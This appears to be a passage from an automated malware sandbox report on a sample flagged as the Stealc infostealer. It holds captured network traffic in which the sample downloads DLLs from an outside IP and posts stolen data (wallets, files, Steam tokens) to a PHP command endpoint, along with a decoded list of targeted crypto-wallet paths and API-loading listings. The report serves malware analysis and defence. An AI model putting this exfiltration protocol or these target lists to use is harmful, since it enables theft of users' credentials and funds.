mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 20, 2024 23:43:12.727847099 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 23:43:13.075748920 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 20, 2024 23:43:13.622517109 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 23:43:13.968411922 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 20, 2024 23:43:14.011320114 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 23:43:14.357407093 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 20, 2024 23:43:14.926611900 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGH Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 23:43:15.774102926 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 23:43:15.845875978 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIEC Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 2d 2d 0d 0a Data Ascii: ------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="message"wallets------IDBGHDGHCGHCAAKFIIEC--
Oct 20, 2024 23:43:16.193557978 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:16 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 20, 2024 23:43:16.197652102 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJ Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------AFCFHDHIIIECBGCAKFIJContent-Disposition: form-data; name="message"files------AFCFHDHIIIECBGCAKFIJ--
Oct 20, 2024 23:43:16.545578003 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 23:43:16.559145927 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGIIEBFCBAAAAKKEGH Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="file"------IJDGIIEBFCBAAAAKKEGH--
Oct 20, 2024 23:43:17.401324034 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 23:43:17.429124117 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAA Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 2d 2d 0d 0a Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="message"ybncbhylepme------EHDHIDAEHCFHJJJJECAA--
Oct 20, 2024 23:43:17.782083035 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:17 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Oct 20, 2024 23:43:17.785635948 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDAEHCBGIIJJJJKKKEH Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 31 35 64 32 64 38 35 63 39 63 34 30 32 63 66 38 30 38 33 62 64 35 32 33 30 63 38 65 33 62 38 32 31 30 32 30 38 31 35 35 37 34 37 62 30 33 34 37 30 66 32 62 66 64 34 36 38 34 33 36 38 64 31 39 63 66 64 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 2d 2d 0d 0a Data Ascii: ------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="token"d315d2d85c9c402cf8083bd5230c8e3b8210208155747b03470f2bfd4684368d19cfd181------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGDAEHCBGIIJJJJKKKEH--
Oct 20, 2024 23:43:18.628643036 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 21:43:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	6
Start time:	17:42:53
Start date:	20/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd90000
File size:	1'828'864 bytes
MD5 hash:	3DDD3285248EEDF8B26F3FB256F2A9A9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000006.00000003.1311274897.00000000056A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000006.00000002.1538633015.000000000192E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	38

Executed Functions

Function 00DA9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(756D0000,01942A08), ref: 00DA98A1
GetProcAddress.KERNEL32(756D0000,019428E8), ref: 00DA98BA
GetProcAddress.KERNEL32(756D0000,019429A8), ref: 00DA98D2
GetProcAddress.KERNEL32(756D0000,01942A80), ref: 00DA98EA
GetProcAddress.KERNEL32(756D0000,019428A0), ref: 00DA9903
GetProcAddress.KERNEL32(756D0000,01949610), ref: 00DA991B
GetProcAddress.KERNEL32(756D0000,01937728), ref: 00DA9933
GetProcAddress.KERNEL32(756D0000,01937628), ref: 00DA994C
GetProcAddress.KERNEL32(756D0000,01942900), ref: 00DA9964
GetProcAddress.KERNEL32(756D0000,01942A98), ref: 00DA997C
GetProcAddress.KERNEL32(756D0000,019429C0), ref: 00DA9995
GetProcAddress.KERNEL32(756D0000,019428B8), ref: 00DA99AD
GetProcAddress.KERNEL32(756D0000,01937688), ref: 00DA99C5
GetProcAddress.KERNEL32(756D0000,01942918), ref: 00DA99DE
GetProcAddress.KERNEL32(756D0000,019428D0), ref: 00DA99F6
GetProcAddress.KERNEL32(756D0000,019376C8), ref: 00DA9A0E
GetProcAddress.KERNEL32(756D0000,01942930), ref: 00DA9A27
GetProcAddress.KERNEL32(756D0000,01942AB0), ref: 00DA9A3F
GetProcAddress.KERNEL32(756D0000,01937948), ref: 00DA9A57
GetProcAddress.KERNEL32(756D0000,01942888), ref: 00DA9A70
GetProcAddress.KERNEL32(756D0000,019376A8), ref: 00DA9A88
LoadLibraryA.KERNEL32(019429D8,?,00DA6A00), ref: 00DA9A9A
LoadLibraryA.KERNEL32(01942840,?,00DA6A00), ref: 00DA9AAB
LoadLibraryA.KERNEL32(01942A20,?,00DA6A00), ref: 00DA9ABD
LoadLibraryA.KERNEL32(01942AE0,?,00DA6A00), ref: 00DA9ACF
LoadLibraryA.KERNEL32(01942AC8,?,00DA6A00), ref: 00DA9AE0
GetProcAddress.KERNEL32(76A70000,01942AF8), ref: 00DA9B02
GetProcAddress.KERNEL32(76430000,01942810), ref: 00DA9B23
GetProcAddress.KERNEL32(76430000,01942858), ref: 00DA9B3B
GetProcAddress.KERNEL32(76050000,01942870), ref: 00DA9B5D
GetProcAddress.KERNEL32(76B70000,01937788), ref: 00DA9B7E
GetProcAddress.KERNEL32(76EA0000,01949570), ref: 00DA9B9F
GetProcAddress.KERNEL32(76EA0000,NtQueryInformationProcess), ref: 00DA9BB6

Strings

NtQueryInformationProcess, xrefs: 00DA9BAA

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
